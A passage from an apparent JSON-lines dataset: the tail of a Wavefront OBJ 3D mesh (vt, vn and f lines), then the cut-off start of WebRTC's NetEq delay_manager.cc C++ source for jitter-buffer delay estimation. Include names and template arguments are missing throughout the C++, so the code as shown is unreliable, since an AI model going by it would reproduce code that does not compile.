0.180500\nvt 0.853300 0.182300\nvt 0.820700 0.182300\nvt 0.820700 0.177700\nvt 0.853300 0.177700\nvt 0.865800 0.181900\nvt 0.852500 0.181900\nvt 0.852500 0.177400\nvt 0.865800 0.177400\nvt 0.822400 0.181900\nvt 0.822400 0.177400\nvt 0.809200 0.181900\nvt 0.809200 0.177400\nvt 0.853300 0.185300\nvt 0.820600 0.185300\nvt 0.820600 0.180700\nvt 0.853300 0.180700\nvt 0.864800 0.185000\nvt 0.864800 0.180500\nvt 0.837100 0.350100\nvt 0.831500 0.350100\nvt 0.831500 0.355000\nvt 0.837100 0.355000\nvt 0.553300 0.205400\nvt 0.558000 0.205400\nvt 0.558000 0.223500\nvt 0.553300 0.223500\nvt 0.551400 0.206300\nvt 0.558400 0.206300\nvt 0.558400 0.224400\nvt 0.551400 0.224400\nvt 0.551800 0.206200\nvt 0.556500 0.206200\nvt 0.556500 0.224300\nvt 0.551800 0.224300\nvt 0.551500 0.205500\nvt 0.558500 0.205500\nvt 0.558500 0.223600\nvt 0.551500 0.223600\nvt 0.807900 0.108800\nvt 0.866200 0.108800\nvt 0.866900 0.124600\nvt 0.807100 0.124600\nvt 0.779900 0.108500\nvt 0.809800 0.108500\nvt 0.809000 0.124200\nvt 0.778000 0.124200\nvt 0.865200 0.108500\nvt 0.865900 0.124200\nvt 0.895000 0.108500\nvt 0.896900 0.124200\nvt 0.807800 0.111800\nvt 0.866100 0.111800\nvt 0.866900 0.127600\nvt 0.807100 0.127600\nvt 0.778900 0.111600\nvt 0.808800 0.111600\nvt 0.808000 0.127300\nvt 0.777000 0.127300\nvt 0.864100 0.111600\nvt 0.864900 0.127300\nvt 0.894000 0.111600\nvt 0.895900 0.127300\nvt 0.858200 0.181900\nvt 0.816800 0.181900\nvt 0.816600 0.176900\nvt 0.858400 0.176900\nvt 0.880200 0.182300\nvt 0.859000 0.182300\nvt 0.859200 0.177200\nvt 0.880700 0.177200\nvt 0.815100 0.182300\nvt 0.814900 0.177200\nvt 0.793800 0.182300\nvt 0.793300 0.177200\nvt 0.857100 0.185000\nvt 0.815800 0.185000\nvt 0.815600 0.180000\nvt 0.857400 0.180000\nvt 0.880200 0.185300\nvt 0.858900 0.185300\nvt 0.859100 0.180200\nvt 0.880700 0.180200\nvt 0.815000 0.185300\nvt 0.814800 0.180200\nvt 0.793800 0.185300\nvt 0.793300 0.180200\nvt 0.822500 0.171900\nvt 0.852500 0.171900\nvt 0.861200 0.127200\nvt 0.854700 0.132200\nvt 0.813800 0.127200\nvt 0.820300 0.132200\nvt 0.820700 0.175200\nvt 0.853200 0.175200\nvt 0.862100 0.130500\nvt 0.855600 0.135600\nvt 0.811800 0.130500\nvt 0.818300 0.135600\nvt 0.821500 0.175000\nvt 0.851400 0.175000\nvt 0.860100 0.130300\nvt 0.853600 0.135300\nvt 0.812800 0.130300\nvt 0.819300 0.135300\nvt 0.820800 0.172200\nvt 0.853300 0.172200\nvt 0.862200 0.127600\nvt 0.855700 0.132600\nvt 0.811900 0.127600\nvt 0.818400 0.132600\nvt 0.797100 0.175200\nvt 0.810100 0.175200\nvt 0.807700 0.135600\nvt 0.787600 0.130500\nvt 0.792600 0.135600\nvt 0.886400 0.127600\nvt 0.881400 0.132600\nvt 0.866300 0.132600\nvt 0.863900 0.172200\nvt 0.876900 0.172200\nvt 0.794100 0.180000\nvt 0.797900 0.175000\nvt 0.810900 0.175000\nvt 0.808700 0.135300\nvt 0.788500 0.130300\nvt 0.793500 0.135300\nvt 0.797100 0.172200\nvt 0.810200 0.172200\nvt 0.807800 0.132600\nvt 0.787600 0.127600\nvt 0.792600 0.132600\nvt 0.865000 0.287800\nvt 0.803500 0.287800\nvt 0.797700 0.272200\nvt 0.870900 0.272200\nvt 0.773800 0.320600\nvt 0.759700 0.314100\nvt 0.773800 0.384500\nvt 0.759700 0.391000\nvt 0.803500 0.417300\nvt 0.797700 0.432900\nvt 0.865000 0.417300\nvt 0.870900 0.432900\nvt 0.894700 0.384500\nvt 0.908800 0.391000\nvt 0.894700 0.320600\nvt 0.908800 0.314100\nvt 0.788600 0.221900\nvt 0.806900 0.221900\nvt 0.806900 0.224300\nvt 0.788600 0.224300\nvt 0.819900 0.221900\nvt 0.819900 0.224300\nvt 0.831000 0.196600\nvt 0.849300 0.196600\nvt 0.849300 0.199000\nvt 0.831000 0.199000\nvt 0.862300 0.196600\nvt 0.862300 0.199000\nvt 0.873400 0.196600\nvt 0.891700 0.196600\nvt 0.891700 0.199000\nvt 0.873400 0.199000\nvt 0.904700 0.196600\nvt 0.904700 0.199000\nvt 0.788600 0.196600\nvt 0.806900 0.196600\nvt 0.806900 0.199000\nvt 0.788600 0.199000\nvt 0.819900 0.196600\nvt 0.819900 0.199000\nvt 0.810400 0.171800\nvt 0.792100 0.171700\nvt 0.797300 0.168000\nvt 0.805300 0.168100\nvt 0.797000 0.159000\nvt 0.799300 0.162800\nvt 0.805600 0.159100\nvt 0.803300 0.162800\nvt 0.779200 0.157700\nvt 0.785300 0.159000\nvt 0.790900 0.165200\nvt 0.791000 0.152500\nvt 0.790200 0.156900\nvt 0.793000 0.159900\nvt 0.779300 0.137900\nvt 0.782700 0.143500\nvt 0.782700 0.152100\nvt 0.791100 0.143200\nvt 0.787600 0.145700\nvt 0.787600 0.150000\nvt 0.792300 0.124000\nvt 0.791100 0.130500\nvt 0.785400 0.136600\nvt 0.797100 0.136700\nvt 0.793100 0.135800\nvt 0.790300 0.138800\nvt 0.810600 0.124100\nvt 0.805400 0.127800\nvt 0.797400 0.127700\nvt 0.805700 0.136800\nvt 0.803400 0.133000\nvt 0.799400 0.133000\nvt 0.823500 0.138100\nvt 0.817400 0.136800\nvt 0.811800 0.130600\nvt 0.811700 0.143300\nvt 0.812500 0.138900\nvt 0.809700 0.135900\nvt 0.823400 0.157900\nvt 0.820000 0.152300\nvt 0.820000 0.143700\nvt 0.811600 0.152600\nvt 0.815100 0.150100\nvt 0.815100 0.145800\nvt 0.811600 0.165300\nvt 0.817300 0.159200\nvt 0.809600 0.160000\nvt 0.812400 0.157000\nvt 0.801800 0.221900\nvt 0.793800 0.221900\nvt 0.793800 0.200900\nvt 0.801800 0.200900\nvt 0.816500 0.196600\nvt 0.811600 0.196600\nvt 0.811600 0.175600\nvt 0.816500 0.175600\nvt 0.884700 0.196600\nvt 0.880800 0.196600\nvt 0.880800 0.175600\nvt 0.884700 0.175600\nvt 0.826500 0.196600\nvt 0.821600 0.196600\nvt 0.821600 0.175600\nvt 0.826500 0.175600\nvt 0.813800 0.196600\nvt 0.808200 0.196600\nvt 0.808200 0.175600\nvt 0.813800 0.175600\nvt 0.898700 0.196600\nvt 0.893800 0.196600\nvt 0.893800 0.175600\nvt 0.898700 0.175600\nvt 0.832000 0.196600\nvt 0.829200 0.196600\nvt 0.829200 0.175600\nvt 0.832000 0.175600\nvt 0.824300 0.196600\nvt 0.824300 0.175600\nvt 0.801800 0.196600\nvt 0.793800 0.196600\nvt 0.793800 0.175600\nvt 0.801800 0.175600\nvt 0.901300 0.196600\nvt 0.896400 0.196600\nvt 0.896400 0.175600\nvt 0.901300 0.175600\nvt 0.842300 0.196600\nvt 0.838400 0.196600\nvt 0.838400 0.175600\nvt 0.842300 0.175600\nvt 0.784100 0.221900\nvt 0.779200 0.221900\nvt 0.779200 0.200900\nvt 0.784100 0.200900\nvt 0.898600 0.196600\nvt 0.893000 0.196600\nvt 0.893000 0.175600\nvt 0.898600 0.175600\nvt 0.856300 0.196600\nvt 0.851400 0.196600\nvt 0.851400 0.175600\nvt 0.856300 0.175600\nvt 0.789600 0.221900\nvt 0.786800 0.221900\nvt 0.786800 0.200900\nvt 0.789600 0.200900\nvt 0.781900 0.221900\nvt 0.781900 0.200900\nvt 0.886600 0.196600\nvt 0.878600 0.196600\nvt 0.878600 0.175600\nvt 0.886600 0.175600\nvt 0.858900 0.196600\nvt 0.854000 0.196600\nvt 0.854000 0.175600\nvt 0.858900 0.175600\nvt 0.799900 0.221900\nvt 0.796000 0.221900\nvt 0.796000 0.200900\nvt 0.799900 0.200900\nvt 0.784100 0.196600\nvt 0.779200 0.196600\nvt 0.779200 0.175600\nvt 0.784100 0.175600\nvt 0.856200 0.196600\nvt 0.850600 0.196600\nvt 0.850600 0.175600\nvt 0.856200 0.175600\nvt 0.813900 0.221900\nvt 0.809000 0.221900\nvt 0.809000 0.200900\nvt 0.813900 0.200900\nvt 0.789600 0.196600\nvt 0.786800 0.196600\nvt 0.786800 0.175600\nvt 0.789600 0.175600\nvt 0.781900 0.196600\nvt 0.781900 0.175600\nvt 0.844200 0.196600\nvt 0.836200 0.196600\nvt 0.836200 0.175600\nvt 0.844200 0.175600\nvt 0.816500 0.221900\nvt 0.811600 0.221900\nvt 0.811600 0.200900\nvt 0.816500 0.200900\nvt 0.799900 0.196600\nvt 0.796000 0.196600\nvt 0.796000 0.175600\nvt 0.799900 0.175600\nvt 0.868900 0.196600\nvt 0.864000 0.196600\nvt 0.864000 0.175600\nvt 0.868900 0.175600\nvt 0.813800 0.221900\nvt 0.808200 0.221900\nvt 0.808200 0.200900\nvt 0.813800 0.200900\nvt 0.813900 0.196600\nvt 0.809000 0.196600\nvt 0.809000 0.175600\nvt 0.813900 0.175600\nvt 0.874400 0.196600\nvt 0.871600 0.196600\nvt 0.871600 0.175600\nvt 0.874400 0.175600\nvt 0.866700 0.196600\nvt 0.866700 0.175600\nvt 0.858300 0.171700\nvt 0.840000 0.171800\nvt 0.827000 0.157900\nvt 0.871100 0.137900\nvt 0.826900 0.138100\nvt 0.839800 0.124100\nvt 0.858100 0.124000\nvt 0.871100 0.157700\nvn 0.000000 -1.000000 0.000000\nvn 0.000000 -1.000000 -0.000031\nvn 0.000000 -1.000000 -0.000092\nvn 0.000000 -1.000000 0.000031\nvn 0.000000 -1.000000 0.000092\nvn 0.000000 1.000000 0.000000\nvn 0.000000 0.093142 0.995636\nvn 0.995911 0.090213 0.000000\nvn 0.000000 0.093142 -0.995636\nvn -0.995911 0.090213 0.000000\nvn 0.703635 0.098025 0.703757\nvn 0.703635 0.098117 0.703726\nvn 0.703757 0.098117 0.703604\nvn 0.703757 0.098025 0.703635\nvn -0.703757 0.098025 0.703635\nvn -0.703757 0.098117 0.703604\nvn -0.703635 0.098086 0.703726\nvn -0.703635 0.098025 0.703757\nvn 0.703635 0.098117 -0.703726\nvn 0.703635 0.098025 -0.703726\nvn 0.703757 0.098025 -0.703635\nvn 0.703757 0.098117 -0.703604\nvn -0.703635 0.098025 -0.703757\nvn -0.703635 0.098086 -0.703726\nvn -0.703757 0.098117 -0.703604\nvn -0.703757 0.098025 -0.703635\nvn 0.000000 0.000000 -1.000000\nvn -0.707083 0.000000 -0.707083\nvn -1.000000 0.000000 0.000000\nvn -0.707083 0.000000 0.707114\nvn 0.000000 0.000000 1.000000\nvn 0.707083 0.000000 0.707114\nvn 1.000000 0.000000 0.000000\nvn 0.707083 0.000000 -0.707083\nvn 0.000000 0.020325 0.999786\nvn 0.999847 0.016053 0.000000\nvn 0.000000 0.020325 -0.999786\nvn -0.999847 0.016053 0.000000\nvn -0.995056 -0.099063 0.000000\nvn -0.703604 -0.098422 0.703696\nvn 0.000000 -0.098514 0.995117\nvn 0.703604 -0.098422 0.703696\nvn 0.995056 -0.099063 0.000000\nvn 0.703604 -0.098392 -0.703696\nvn 0.000000 -0.098483 -0.995117\nvn -0.703604 -0.098392 -0.703696\nvn 0.000000 0.079012 0.996857\nvn 0.000000 0.086276 0.996246\nvn -0.704947 0.079134 0.704794\nvn -0.704367 0.088809 0.704215\nvn -0.704367 0.088778 0.704215\nvn -0.996948 0.077670 0.000000\nvn -0.996429 0.084109 0.000000\nvn -0.704947 0.079134 -0.704794\nvn -0.704367 0.088778 -0.704215\nvn -0.704367 0.088809 -0.704215\nvn 0.000000 0.079012 -0.996857\nvn 0.000000 0.086245 -0.996246\nvn 0.704947 0.079134 -0.704794\nvn 0.704367 0.088809 -0.704215\nvn 0.704367 0.088778 -0.704215\nvn 0.996948 0.077670 0.000000\nvn 0.996429 0.084109 0.000000\nvn 0.704947 0.079134 0.704794\nvn 0.704367 0.088778 0.704215\nvn 0.704367 0.088809 0.704215\nvn 0.703604 0.098117 0.703757\nvn 0.703604 0.098025 0.703757\nvn -0.703604 0.098117 0.703757\nvn -0.703604 0.097995 0.703757\nvn 0.703604 0.098025 -0.703757\nvn 0.703604 0.098117 -0.703757\nvn -0.703604 0.098117 -0.703757\nvn -0.703604 0.097995 -0.703757\nvn -0.258400 0.960082 0.106937\nvn -0.258400 0.960082 -0.106937\nvn -0.106967 0.960173 -0.258034\nvn 0.106967 0.960173 -0.258034\nvn 0.258400 0.960082 -0.106937\nvn 0.258400 0.960082 0.106967\nvn 0.258400 0.960082 0.106937\nvn 0.106967 0.960173 0.258034\nvn -0.106967 0.960173 0.258034\nvn 0.999969 0.000000 0.004730\nvn 0.710440 0.000000 -0.703726\nvn 0.004730 0.000000 -0.999969\nvn -0.703726 0.000000 -0.710440\nvn -0.999969 0.000000 -0.004730\nvn -0.710440 0.000000 0.703726\nvn -0.004730 0.000000 0.999969\nvn 0.703726 0.000000 0.710440\nvn 0.000000 -0.999969 0.000000\nvn -0.387066 0.000000 0.922025\nvn -0.378277 0.000000 -0.925657\nvn -0.925657 0.000000 0.378277\nvn 0.387066 0.000000 -0.922025\nvn -0.922025 0.000000 -0.387066\nvn 0.925657 0.000000 -0.378277\nvn -0.378277 0.000000 -0.925687\nvn 0.922025 0.000000 0.387066\nvn 0.387036 0.000000 -0.922025\nvn 0.378277 0.000000 0.925657\nvn -0.387036 0.000000 0.922025\nvn -0.004761 0.000000 0.999969\nvn -0.922025 0.000000 -0.387036\ns 1\nf 223/1/1 2/2/2 3/3/2 4/4/1\nf 3/3/2 5/5/3 4/4/1\nf 7/6/4 223/1/1 4/4/1 391/7/4\nf 349/8/5 223/1/1 7/6/4\nf 9/9/6 263/10/6 398/11/6 387/12/6\nf 13/13/7 14/14/7 15/15/7 16/16/7\nf 17/17/8 18/18/8 19/19/8 20/20/8\nf 21/21/9 22/22/9 23/23/9 24/24/9\nf 25/25/10 26/26/10 27/27/10 28/28/10\nf 29/29/11 30/30/12 31/31/13 32/32/14\nf 33/33/15 34/34/16 35/35/17 36/36/18\nf 37/37/19 38/38/20 39/39/21 40/40/22\nf 41/41/23 42/42/24 43/43/25 44/44/26\nf 313/45/6 245/46/6 47/47/6 48/48/6\nf 49/49/6 50/50/6 51/51/6 337/52/6\nf 53/53/6 54/54/6 55/55/6 359/56/6\nf 57/57/6 292/58/6 59/59/6 60/60/6\nf 276/61/27 323/62/27 418/63/27 417/64/27\nf 324/62/28 322/65/28 63/66/28 61/63/28\nf 321/67/29 52/68/29 220/69/29 421/70/29\nf 338/71/30 342/72/30 65/73/30 64/74/30\nf 341/72/31 56/75/31 408/76/31 222/73/31\nf 360/75/32 394/77/32 233/78/32 66/76/32\nf 393/79/33 278/80/33 68/81/33 67/82/33\nf 279/83/34 277/61/34 416/64/34 235/84/34\nf 234/55/6 236/60/6 69/85/6 70/86/6\nf 409/56/6 234/55/6 70/86/6 221/51/6\nf 221/51/6 70/86/6 71/87/6 219/52/6\nf 420/47/6 219/52/6 71/87/6 265/88/6\nf 419/48/6 420/47/6 265/88/6 62/59/6\nf 62/59/6 265/88/6 69/85/6 236/60/6\nf 376/89/35 72/90/35 10/91/35 351/92/35\nf 266/93/36 332/94/36 11/95/36 264/96/36\nf 333/97/37 389/98/37 12/99/37 399/100/37\nf 390/101/38 377/102/38 352/103/38 388/104/38\nf 59/59/6 292/58/6 313/45/6 48/48/6\nf 47/47/6 245/46/6 49/49/6 337/52/6\nf 51/51/6 50/50/6 53/53/6 359/56/6\nf 55/55/6 54/54/6 57/57/6 60/60/6\nf 288/105/39 1/106/39 197/107/39 319/108/39\nf 224/109/40 8/110/40 75/111/40 73/112/40\nf 350/110/41 368/113/41 405/114/41 199/111/41\nf 369/113/42 6/115/42 383/116/42 406/114/42\nf 392/117/43 241/118/43 78/119/43 382/120/43\nf 242/121/44 243/122/44 370/123/44 384/124/44\nf 244/122/45 290/125/45 330/126/45 371/123/45\nf 291/125/46 289/127/46 320/128/46 331/126/46\nf 45/129/47 58/130/47 294/131/48 82/132/48\nf 293/133/49 213/134/49 83/135/50 81/136/51\nf 214/134/52 211/137/52 84/138/53 428/135/53\nf 212/137/54 372/139/54 386/140/55 272/138/56\nf 373/141/57 355/142/57 86/143/58 85/144/58\nf 356/145/59 353/146/59 415/147/60 205/148/61\nf 354/146/62 46/149/62 88/150/63 87/147/63\nf 246/149/64 314/151/64 315/152/65 247/150/66\nf 82/132/48 294/131/48 16/153/7 15/154/7\nf 89/155/7 82/132/48 15/154/7 14/156/7\nf 90/157/7 89/155/7 14/156/7 13/158/7\nf 294/131/48 90/157/7 13/158/7 16/153/7\nf 87/147/63 88/150/63 20/159/8 19/160/8\nf 91/161/8 87/147/63 19/160/8 18/162/8\nf 92/163/8 91/161/8 18/162/8 17/164/8\nf 88/150/63 92/163/8 17/164/8 20/159/8\nf 85/144/58 86/143/58 24/165/9 23/166/9\nf 339/167/9 85/144/58 23/166/9 22/168/9\nf 94/169/9 339/167/9 22/168/9 21/170/9\nf 86/143/58 94/169/9 21/170/9 24/165/9\nf 428/135/53 84/138/53 28/171/10 27/172/10\nf 363/173/10 428/135/53 27/172/10 26/174/10\nf 365/175/10 363/173/10 26/174/10 25/176/10\nf 84/138/53 365/175/10 25/176/10 28/171/10\nf 247/150/66 315/152/65 32/177/14 31/178/13\nf 262/163/67 247/150/66 31/178/13 30/179/12\nf 201/180/68 262/163/67 30/179/12 29/181/11\nf 315/152/65 201/180/68 29/181/11 32/177/14\nf 364/173/69 203/182/70 36/183/18 35/184/17\nf 83/135/50 364/173/69 35/184/17 34/185/16\nf 81/136/51 83/135/50 34/185/16 33/186/15\nf 203/182/70 81/136/51 33/186/15 36/183/18\nf 205/143/61 415/187/60 40/188/22 39/189/21\nf 206/169/71 205/143/61 39/189/21 38/190/20\nf 259/191/72 206/169/71 38/190/20 37/192/19\nf 415/187/60 259/191/72 37/192/19 40/188/22\nf 272/138/56 386/140/55 44/193/26 43/194/25\nf 366/175/73 272/138/56 43/194/25 42/195/24\nf 340/196/74 366/175/73 42/195/24 41/197/23\nf 386/140/55 340/196/74 41/197/23 44/193/26\nf 95/198/75 96/199/76 74/200/76 198/201/75\nf 96/199/76 93/202/77 80/203/77 74/200/76\nf 93/202/77 207/204/78 79/205/78 80/203/77\nf 207/204/78 260/206/79 385/207/79 79/205/78\nf 260/206/79 261/208/80 77/209/81 385/207/79\nf 261/208/80 202/210/82 76/211/82 77/209/81\nf 202/210/82 204/212/83 200/213/83 76/211/82\nf 204/212/83 95/198/75 198/201/75 200/213/83\nf 97/214/84 98/215/84 403/216/84 395/217/84\nf 196/215/85 411/218/85 238/219/85 99/216/85\nf 412/220/86 186/221/86 104/222/86 102/223/86\nf 103/221/87 105/224/87 426/225/87 239/222/87\nf 188/226/88 230/227/88 108/228/88 427/229/88\nf 107/227/89 109/230/89 308/231/89 343/228/89\nf 232/232/90 111/233/90 112/234/90 309/235/90\nf 216/233/91 194/236/91 396/237/91 217/234/91\nf 195/238/1 193/239/1 113/240/1 114/241/1\nf 193/239/1 115/242/1 116/243/1 113/240/1\nf 115/242/1 117/244/1 208/245/1 116/243/1\nf 117/244/1 195/238/1 114/241/1 208/245/1\nf 193/239/1 215/246/1 256/247/1 305/248/92\nf 215/246/1 121/249/1 122/250/1 256/247/1\nf 121/249/1 115/242/1 123/251/1 122/250/1\nf 115/242/1 193/239/1 305/248/92 123/251/1\nf 215/246/1 231/252/1 124/253/1 125/254/1\nf 231/252/1 126/255/1 127/256/1 124/253/1\nf 126/255/1 121/249/1 128/257/1 127/256/1\nf 121/249/1 215/246/1 125/254/1 128/257/1\nf 231/252/1 229/258/1 129/259/1 130/260/1\nf 229/258/1 131/261/1 132/262/1 129/259/1\nf 131/261/1 126/255/1 325/263/1 132/262/1\nf 126/255/1 231/252/1 130/260/1 325/263/1\nf 229/258/1 187/264/1 134/265/1 135/266/1\nf 187/264/1 136/267/1 137/268/1 134/265/1\nf 136/267/1 131/261/1 138/269/1 137/268/1\nf 131/261/1 229/258/1 135/266/1 138/269/1\nf 187/264/1 185/270/1 139/271/1 140/272/1\nf 185/270/1 141/273/1 142/274/1 139/271/1\nf 141/273/1 136/267/1 143/275/1 142/274/1\nf 136/267/1 187/264/1 140/272/1 143/275/1\nf 185/270/1 101/276/1 273/277/1 302/278/1\nf 101/276/1 146/279/1 147/280/1 273/277/1\nf 146/279/1 141/273/1 148/281/1 147/280/1\nf 141/273/1 185/270/1 302/278/1 148/281/1\nf 101/276/1 195/238/1 149/282/1 150/283/1\nf 195/238/1 117/244/1 151/284/1 149/282/1\nf 117/244/1 146/279/1 316/285/1 151/284/1\nf 146/279/1 101/276/1 150/283/1 316/285/1\nf 286/286/84 284/287/84 153/288/84 154/289/84\nf 285/290/93 268/291/93 155/292/93 430/293/93\nf 269/294/88 118/295/88 156/296/88 270/297/88\nf 209/298/94 287/299/94 301/300/94 210/301/94\nf 120/302/91 119/303/91 157/304/91 307/305/91\nf 257/306/95 189/307/95 407/308/95 258/309/95\nf 190/310/87 191/311/87 414/312/87 159/313/87\nf 192/311/96 306/314/96 158/315/96 160/312/96\nf 254/316/90 252/317/90 422/318/90 162/319/90\nf 253/320/97 334/321/97 163/322/97 161/323/97\nf 335/324/86 347/325/86 164/326/86 336/327/86\nf 348/328/98 255/329/98 271/330/98 429/331/98\nf 374/332/89 378/333/89 424/334/89 166/335/89\nf 379/336/99 380/337/99 167/338/99 165/339/99\nf 381/340/85 133/341/85 168/342/85 397/343/85\nf 326/341/100 375/344/100 425/345/100 327/342/100\nf 310/346/88 298/347/88 169/348/88 170/349/88\nf 299/350/101 280/351/101 346/352/101 300/353/101\nf 281/354/84 282/355/84 172/356/84 171/357/84\nf 283/358/102 311/359/102 312/360/102 432/361/102\nf 225/362/87 361/363/87 173/364/87 423/365/87\nf 362/366/98 357/367/98 175/368/98 410/369/98\nf 358/370/91 227/371/91 267/372/91 431/373/91\nf 228/371/103 226/374/103 174/375/103 176/372/103\nf 145/376/86 144/377/86 275/378/86 304/379/86\nf 274/380/100 295/381/100 179/382/100 177/383/100\nf 296/384/104 328/385/104 367/386/104 297/387/104\nf 329/388/95 303/389/95 178/390/95 180/391/95\nf 400/392/85 248/393/85 345/394/85 182/395/85\nf 249/396/102 250/397/102 183/398/102 181/399/102\nf 251/400/89 152/401/89 184/402/89 413/403/89\nf 317/401/105 401/404/105 402/405/105 318/402/105\nf 237/406/6 240/407/6 106/408/6 100/409/6\nf 106/408/6 344/410/6 110/411/6 100/409/6\nf 110/411/6 218/412/6 100/409/6\nf 404/413/6 237/406/6 100/409/6\nf 121/249/1 126/255/1 131/261/1 117/244/1\nf 131/261/1 136/267/1 141/273/1 117/244/1\nf 141/273/1 146/279/1 117/244/1\nf 115/242/1 121/249/1 117/244/1\n"} +{"text": "/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n */\n\n#include \"modules/audio_coding/neteq/delay_manager.h\"\n\n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"modules/audio_coding/neteq/histogram.h\"\n#include \"modules/include/module_common_types_public.h\"\n#include \"rtc_base/checks.h\"\n#include \"rtc_base/logging.h\"\n#include \"rtc_base/numerics/safe_conversions.h\"\n#include \"rtc_base/numerics/safe_minmax.h\"\n#include \"system_wrappers/include/field_trial.h\"\n\nnamespace {\n\nconstexpr int kMinBaseMinimumDelayMs = 0;\nconstexpr int kMaxBaseMinimumDelayMs = 10000;\nconstexpr int kMaxReorderedPackets =\n 10; // Max number of consecutive reordered packets.\nconstexpr int kMaxHistoryMs = 2000; // Oldest packet to include in history to\n // calculate relative packet arrival delay.\nconstexpr int kDelayBuckets = 100;\nconstexpr int kBucketSizeMs = 20;\nconstexpr int kDecelerationTargetLevelOffsetMs = 85 << 8; // In Q8.\n\nint PercentileToQuantile(double percentile) {\n return static_cast((1 << 30) * percentile / 100.0 + 0.5);\n}\n\nstruct DelayHistogramConfig {\n int quantile = 1041529569; // 0.97 in Q30.\n int forget_factor = 32745; // 0.9993 in Q15.\n absl::optional start_forget_weight = 2;\n};\n\nDelayHistogramConfig GetDelayHistogramConfig() {\n constexpr char kDelayHistogramFieldTrial[] =\n \"WebRTC-Audio-NetEqDelayHistogram\";\n DelayHistogramConfig config;\n if (webrtc::field_trial::IsEnabled(kDelayHistogramFieldTrial)) {\n const auto field_trial_string =\n webrtc::field_trial::FindFullName(kDelayHistogramFieldTrial);\n double percentile = -1.0;\n double forget_factor = -1.0;\n double start_forget_weight = -1.0;\n if (sscanf(field_trial_string.c_str(), \"Enabled-%lf-%lf-%lf\", &percentile,\n &forget_factor, &start_forget_weight) >= 2 &&\n percentile >= 0.0 && percentile <= 100.0 && forget_factor >= 0.0 &&\n forget_factor <= 1.0) {\n config.quantile = PercentileToQuantile(percentile);\n config.forget_factor = (1 << 15) * forget_factor;\n config.start_forget_weight =\n start_forget_weight >= 1 ? absl::make_optional(start_forget_weight)\n : absl::nullopt;\n }\n }\n RTC_LOG(LS_INFO) << \"Delay histogram config:\"\n \" quantile=\"\n << config.quantile\n << \" forget_factor=\" << config.forget_factor\n << \" start_forget_weight=\"\n << config.start_forget_weight.value_or(0);\n return config;\n}\n\n} // namespace\n\nnamespace webrtc {\n\nDelayManager::DelayManager(size_t max_packets_in_buffer,\n int base_minimum_delay_ms,\n int histogram_quantile,\n bool enable_rtx_handling,\n const TickTimer* tick_timer,\n std::unique_ptr histogram)\n : first_packet_received_(false),\n max_packets_in_buffer_(max_packets_in_buffer),\n histogram_(std::move(histogram)),\n histogram_quantile_(histogram_quantile),\n tick_timer_(tick_timer),\n base_minimum_delay_ms_(base_minimum_delay_ms),\n effective_minimum_delay_ms_(base_minimum_delay_ms),\n base_target_level_(4), // In Q0 domain.\n target_level_(base_target_level_ << 8), // In Q8 domain.\n packet_len_ms_(0),\n last_seq_no_(0),\n last_timestamp_(0),\n minimum_delay_ms_(0),\n maximum_delay_ms_(0),\n last_pack_cng_or_dtmf_(1),\n enable_rtx_handling_(enable_rtx_handling) {\n RTC_CHECK(histogram_);\n RTC_DCHECK_GE(base_minimum_delay_ms_, 0);\n\n Reset();\n}\n\nstd::unique_ptr DelayManager::Create(\n size_t max_packets_in_buffer,\n int base_minimum_delay_ms,\n bool enable_rtx_handling,\n const TickTimer* tick_timer) {\n DelayHistogramConfig config = GetDelayHistogramConfig();\n const int quantile = config.quantile;\n std::unique_ptr histogram = std::make_unique(\n kDelayBuckets, config.forget_factor, config.start_forget_weight);\n return std::make_unique(\n max_packets_in_buffer, base_minimum_delay_ms, quantile,\n enable_rtx_handling, tick_timer, std::move(histogram));\n}\n\nDelayManager::~DelayManager() {}\n\nabsl::optional DelayManager::Update(uint16_t sequence_number,\n uint32_t timestamp,\n int sample_rate_hz) {\n if (sample_rate_hz <= 0) {\n return absl::nullopt;\n }\n\n if (!first_packet_received_) {\n // Prepare for next packet arrival.\n packet_iat_stopwatch_ = tick_timer_->GetNewStopwatch();\n last_seq_no_ = sequence_number;\n last_timestamp_ = timestamp;\n first_packet_received_ = true;\n return absl::nullopt;\n }\n\n // Try calculating packet length from current and previous timestamps.\n int packet_len_ms;\n if (!IsNewerTimestamp(timestamp, last_timestamp_) ||\n !IsNewerSequenceNumber(sequence_number, last_seq_no_)) {\n // Wrong timestamp or sequence order; use stored value.\n packet_len_ms = packet_len_ms_;\n } else {\n // Calculate timestamps per packet and derive packet length in ms.\n int64_t packet_len_samp =\n static_cast(timestamp - last_timestamp_) /\n static_cast(sequence_number - last_seq_no_);\n packet_len_ms =\n rtc::saturated_cast(1000 * packet_len_samp / sample_rate_hz);\n }\n\n bool reordered = false;\n absl::optional relative_delay;\n if (packet_len_ms > 0) {\n // Cannot update statistics unless |packet_len_ms| is valid.\n\n // Inter-arrival time (IAT) in integer \"packet times\" (rounding down). This\n // is the value added to the inter-arrival time histogram.\n int iat_ms = packet_iat_stopwatch_->ElapsedMs();\n // Check for discontinuous packet sequence and re-ordering.\n if (IsNewerSequenceNumber(sequence_number, last_seq_no_ + 1)) {\n // Compensate for gap in the sequence numbers. Reduce IAT with the\n // expected extra time due to lost packets.\n int packet_offset =\n static_cast(sequence_number - last_seq_no_ - 1);\n iat_ms -= packet_offset * packet_len_ms;\n } else if (!IsNewerSequenceNumber(sequence_number, last_seq_no_)) {\n int packet_offset =\n static_cast(last_seq_no_ + 1 - sequence_number);\n iat_ms += packet_offset * packet_len_ms;\n reordered = true;\n }\n\n int iat_delay = iat_ms - packet_len_ms;\n if (reordered) {\n relative_delay = std::max(iat_delay, 0);\n } else {\n UpdateDelayHistory(iat_delay, timestamp, sample_rate_hz);\n relative_delay = CalculateRelativePacketArrivalDelay();\n }\n\n const int index = relative_delay.value() / kBucketSizeMs;\n if (index < histogram_->NumBuckets()) {\n // Maximum delay to register is 2000 ms.\n histogram_->Add(index);\n }\n // Calculate new |target_level_| based on updated statistics.\n target_level_ = CalculateTargetLevel();\n\n LimitTargetLevel();\n } // End if (packet_len_ms > 0).\n\n if (enable_rtx_handling_ && reordered &&\n num_reordered_packets_ < kMaxReorderedPackets) {\n ++num_reordered_packets_;\n return relative_delay;\n }\n num_reordered_packets_ = 0;\n // Prepare for next packet arrival.\n packet_iat_stopwatch_ = tick_timer_->GetNewStopwatch();\n last_seq_no_ = 